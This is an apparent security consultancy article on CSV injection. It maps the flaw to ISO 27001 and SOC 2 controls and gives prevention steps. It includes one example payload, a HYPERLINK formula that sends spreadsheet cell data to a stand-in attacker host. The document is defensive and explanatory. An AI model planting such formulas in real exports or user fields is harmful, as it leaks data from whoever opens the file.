CSV Injection: What It Is and Which Controls Catch It
Robin Joseph
Senior Security Consultant
Last reviewed: September 2026.
If you export user data to Excel or Google Sheets, this is a real risk to your audit, not a theoretical one.
CSV injection sounds obscure until you realize how often it happens: an app lets users export their data, invoices, leads, survey responses, as a CSV file. Someone opens it in Excel. And Excel, trying to be helpful, runs whatever formula-looking text was sitting in one of those fields.
That's the whole attack. No exploit code, no privilege escalation, just a spreadsheet doing exactly what spreadsheets do.
What Is CSV Injection?
Any field a user controls, a name, a comment, a support ticket subject line, can become an attack vector if that data ever gets exported to CSV. If a user enters =HYPERLINK("http://evil.com/steal?data="&A1,"Click here") as their "company name," and someone on your team exports the customer list and opens it, Excel runs that formula.
It's low-effort to execute and easy to miss in code review, because the vulnerability isn't in how you store the data, it's in how you export it. A field that's perfectly safe to display on a web page can still be dangerous the moment it lands in a spreadsheet.
Which Controls This Maps To
| Framework | Control | What it requires |
|---|---|---|
| ISO 27001:2022 | A.8.28 (Secure coding) | Secure coding principles applied and reviewed, including output encoding for data leaving the system in a different format |
| ISO 27001:2022 | A.8.26 (Application security requirements) | Security requirements defined for any function that exports or transforms user data |
| SOC 2 | CC8.1 (Change management) | Changes to systems, including export features, go through a process that considers security impact |
This is exactly the kind of finding a penetration test or a thorough code review turns up, and exactly the kind of thing an ISO 27001 or SOC 2 auditor expects your secure development process to have caught before it shipped.
What Auditors Actually Check
An auditor isn't going to test for CSV injection directly, that's a pentester's job. What they will check is whether you have a documented secure coding standard, whether it covers output encoding for non-web export formats, and whether there's evidence (code review records, static analysis results, pentest reports) that this kind of check actually happens. CSV injection is a good concrete example to have on hand when an auditor asks "show me what secure coding review actually looks like here."
How to Prevent It
- Escape or prefix any exported field that starts with
=,+,-, or@, a single leading apostrophe (') is usually enough to stop spreadsheet software from treating it as a formula. - Treat every export feature (CSV, Excel, PDF-with-embedded-data) as a security-relevant code path, not just a convenience feature.
- Include export functionality explicitly in your secure code review checklist, it's the part teams forget because it "isn't user-facing."
Frequently Asked Questions
No. SQL injection targets your database through unsanitized input. CSV injection targets the person opening an exported file, it exploits how spreadsheet software interprets formula characters, not your database at all.
It falls under A.8.28 (Secure coding) and A.8.26 (Application security requirements), the same controls that cover secure handling of any user-supplied data, including data leaving the system in export formats.
Not by name. But CC8.1 (change management) expects evidence that security is considered when features like data export are built or changed. CSV injection is a common real-world example auditors recognize.
Very common. Any app with a 'export to CSV' or 'export to Excel' button on user-controlled data is a candidate. It's frequently missed because teams focus secure-coding review on the web UI, not on export code paths.
Want to know where a gap like this would actually show up in your ISO 27001 or SOC 2 audit? Book a demo and we'll walk through it.